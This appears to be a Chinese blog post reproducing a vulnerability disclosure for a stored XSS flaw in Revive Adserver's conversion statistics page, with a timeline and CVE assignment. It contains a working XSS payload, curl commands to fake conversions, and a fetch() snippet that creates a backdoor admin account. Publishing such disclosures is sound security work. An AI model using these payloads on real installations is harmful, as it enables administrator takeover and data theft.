利用跟踪器名称在转化统计中实现存储型XSS攻击:深度剖析与修复方案

本文深入分析了在Revive Adserver中发现的一处存储型XSS漏洞。低权限的广告商可通过修改跟踪器名称注入恶意代码,当管理员查看转化报告时,代码将在管理员浏览器上下文中执行。报告详细阐述了漏洞原理、复现步骤、攻击影响(包括会话骑乘攻击)以及最终的修复方案。

利用跟踪器名称在Revive Adserver转化统计中实现存储型XSS攻击

漏洞概述

在Revive Adserver中发现一处存储型跨站脚本(Stored XSS)漏洞。低权限的广告商账户可通过在跟踪器名称中注入恶意JavaScript代码,当管理员查看转化统计报告时,该代码将在管理员的浏览器上下文中执行,从而实现权限提升。

受影响的系统

  • 产品: Revive Adserver
  • 测试版本: 6.0.1
  • 组件: 统计/转化报告
  • 文件: www/admin/stats-conversions.php:356
  • URL: http://[host]/www/admin/stats.php?entity=conversions&clientid=[id]

漏洞代码

1
2
3
4
// www/admin/stats-conversions.php:356
echo "<td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['trackername']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignid']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignname']}</td>";

问题分析

  1. 输出未转义: 跟踪器名称直接输出,未使用htmlspecialchars()进行转义
  2. 数据来源: 数据来自广告商控制的输入(跟踪器创建表单)
  3. 缺乏输入验证: 存储时未对HTML标签进行剥离
  4. 管理员受影响: 查看转化报告的管理员将在其浏览器上下文中执行有效载荷

复现步骤

前提条件

  • 广告商账户(低权限)
  • 管理员账户(用于测试影响)

操作步骤

  1. 以广告商身份登录并创建恶意跟踪器

    • 导航至:库存 → 广告商 → 点击您的广告商名称(例如"测试广告商")→ 跟踪器选项卡
    • 点击"添加新跟踪器"
    • 设置跟踪器名称为:
      1
      
      <img src=x onerror="alert('XSS: ' + document.cookie)">
      
    • 设置跟踪器类型为"销售",状态为"活动"
    • 点击"保存更改"
  2. 创建转化记录(通过正常跟踪或数据库):

    1
    2
    3
    4
    5
    
    -- 将转化关联到恶意跟踪器
    INSERT INTO rv_data_intermediate_ad_connection (
        tracker_id, ad_id, inside_window, tracker_date_time,
        connection_date_time, connection_action, connection_status, updated
    ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW());
    
  3. 以管理员身份登录并导航至

    1
    
    http://[host]/www/admin/stats.php?entity=conversions&clientid=1
    
  4. 结果: JavaScript警报立即触发,显示会话cookie信息

补充发现

  • 第357-358行同样缺乏对campaignidcampaignnamehtmlspecialchars()处理
  • 广告商控制的广告活动名称同样存在此漏洞
  • 其他stats-*.php文件可能存在类似问题

攻击复杂度与范围

开发团队最初评估:

  • 复杂度:高(因为需要数据库中存在转化记录,这超出了攻击者的控制)
  • 范围:不变(因为攻击者无法访问其他系统)
  • 机密性:低(无法窃取会话ID)
  • 完整性:无

安全研究员反驳:

  • 复杂度低: 攻击者可以使用curl自行生成转化,无需第三方cookie或真实广告展示
    1
    2
    
    curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)"
    curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)"
    
  • 会话骑乘攻击可行: 即使设置了HttpOnly标志,攻击仍可通过以下方式进行:
    1
    2
    3
    4
    5
    6
    
    fetch('/www/admin/account-user-edit.php', {
      method: 'POST',
      credentials: 'include', // 浏览器自动发送HttpOnly cookie
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + getCsrfToken()
    });
    

实际影响

即使有HttpOnly保护,攻击者仍能:

  1. 数据泄露:读取转化收入数据、查看所有广告活动名称、访问跟踪器元数据、导出用户列表
  2. 管理员操作:创建管理员账户、修改广告活动设置、更改区域分配、访问所有广告商数据
  3. 完全系统控制:攻击者可执行任何管理员操作

CVSS评分调整过程

  1. 初始评分:2.6(低)
  2. 研究员反驳后:7.3(高)
  3. 最终评分:8.7(高)

最终评分理由

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:低
  • 用户交互:需要
  • 范围:已改变(从广告商权限提升至管理员权限)
  • 机密性影响:高
  • 完整性影响:高
  • 可用性影响:无

修复方案

开发团队提供了补丁文件h1-3400506.patch,修复了漏洞。主要修复措施包括对输出进行适当的HTML转义处理。

时间线

  • 2025年10月26日:漏洞报告提交
  • 2025年10月27日:状态更改为"已处理"
  • 2025年10月28日:漏洞状态更改为"已解决",补丁发布
  • 2025年11月4日:分配CVE ID:CVE-2025-52668
  • 2025年11月19日:报告公开披露

结论

此存储型XSS漏洞虽然最初被低估,但经过详细的技术分析,证明其具有严重的安全影响。即使有HttpOnly保护,攻击者仍能通过会话骑乘技术实现权限提升和系统控制。这强调了在Web应用程序中实施深度防御的重要性,包括输入验证、输出编码和内容安全策略。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计